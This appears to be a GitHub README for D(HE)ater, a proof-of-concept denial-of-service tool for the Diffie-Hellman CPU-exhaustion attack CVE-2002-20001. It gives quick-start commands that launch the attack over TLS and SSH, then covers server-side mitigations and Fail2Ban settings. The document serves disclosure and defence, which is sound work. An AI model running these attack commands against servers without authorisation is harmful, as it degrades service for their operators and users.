Nuki2u/dheater

D(HE)ater is a proof of concept implementation of the D(HE)at attack (CVE-2002-20001) through which denial-of-service can be performed by enforcing the Diffie-Hellman key exchange.

D(HE)ater

D(HE)ater is an attacking tool based on CPU heating in that it forces the ephemeral variant of Diffie-Hellman key exchange (DHE) in given cryptography protocols (e.g. TLS, SSH). It is performed without calculating a cryptographically correct ephemeral key on the client-side, but with a significant amount of calculation on the server-side. Based on this, a denial-of-service (DoS) attack can be initiated, called D(HE)at attack (CVE-2002-20001).

Quick start

D(HE)ater can be installed directly via pip from PyPi

pip install dheater
dheat --protocol tls ecc256.badssl.com
dheat --protocol ssh ecc256.badssl.com

or can be used via Docker from Docker Hub

docker pull balasys/dheater
docker run --tty --rm balasys/dheater --protocol tls ecc256.badssl.com
docker run --tty --rm balasys/dheater --protocol ssh ecc256.badssl.com

You can increase load by string extra threads.

dheat --thread-num 4 --protocol tls ecc256.badssl.com
docker run --tty --rm balasys/dheater --thread-num 4 --protocol tls ecc256.badssl.com
docker run --tty --rm balasys/dheater --thread-num 4 --protocol ssh ecc256.badssl.com

Mitigation

Configuration

Diffie-Hellman (DHE) key exchange should be disabled if no other mitigation mechanism can be used and either elliptic-curve variant of Diffie-Hellman (ECDHE) or RSA key exchange is supported by the clients. The fact that RSA key exchange is not forward secret should be considered.

TLS

Elliptic-curve (named group) setting is necessary only if the underlying cryptographic library supports negotiation Diffie-Hellman groups by implementing RFC7919 in TLS 1.2 or supporting the Finite Field Diffie-Hellman parameter groups named groups in TLS 1.3.

Library	Version	FFDHE goups in TLS 1.2	FFDHE groups in TLS 1.3
OpenSSL	< 3.0	no	no
OpenSSL	≥ 3.0	no	yes
GnuTLS	≥ 3.5.6	yes	no
GnuTLS	≥ 3.6.3	yes	yes

Apache

SSLCipherSuite ...:!kDHE
SSLOpenSSLConfCmd Groups x25519:secp256r1:x448:secp521r1:secp384r1

NGINX

ssl_ciphers ...:!kDHE;
ssl_ecdh_curve x25519:secp256r1:x448:secp521r1:secp384r1;

Postfix

1. Diffie-Hellman key exchange algorithms can be removed by setting the tls_medium_cipherlist configuration option.

   tls_medium_cipherlist ...:!kDHE

2. Maximal number of new TLS sessions that a remote SMTP client is allowed to negotiate can be controlled by configuration option smtpd_client_new_tls_session_rate_limit configuration option.

   smtpd_client_new_tls_session_rate_limit 100

Others

See moz://a SSL Configuration Generator for configuration syntax.

SSH

OpenSSH

1. Diffie-Hellman key exchange algorithms can be removed by setting the KexAlgorithms configuration option.

   KexAlgorithms -diffie-hellman-group1-sha1,diffie-hellman-group1-sha256,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha256,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha512

2. Maximum number of concurrent unauthenticated connections can be controlled by some configuration options

   • MaxStartups (globally)

     MaxStartups 10:30:100

   • PerSourceMaxStartups (per source IP subnetworks)

     PerSourceMaxStartups 1

   • PerSourceNetBlockSize (size of the subnetworks grouped together)

     PerSourceNetBlockSize 32:128

Fail2Ban

TLS

Apache

There are no relevant filters.

1. apache-ssl.conf in fail2ban directory should be copied to the filter.d directory under the fail2ban configuration directory

2. the followings should be added to the jail.local file in the fail2ban configuration directory

   [apache-ssl]
   
   port    = https
   logpath = %(apache_error_log)s
   maxretry = 1

Postfix

There is a relevant filter, but it is applied only in ddos mode. The followings should be added to jail.local.

[postfix]
mode = ddos

Dovecot

There is a relevant filter, but it is applied only in ddos mode. The followings should be added to jail.local.

[dovecot]
mode = aggressive

or a specific filter can be used without changing the mode of dovecot.

1. dovecot-ssl.conf in fail2ban directory should be copied to the filter.d directory under the fail2ban configuration directory

2. the followings should be added to jail.local in tge fail2ban configuration directory

   [dovecot-ssl]
   
   port    = pop3,pop3s,imap,imaps,submission,465,sieve
   logpath = %(dovecot_log)s
   backend = %(dovecot_backend)s
   maxretry = 1

SSH

OpenSSH

There is a relevant filter, but it is applied only in ddos mode. The followings should be added to jail.local.

[sshd]
mode = ddos

License

The code is available under the terms of Apache License Version 2.0. A non-comprehensive, but straightforward description and also the full license text can be found at Choose an open source license website.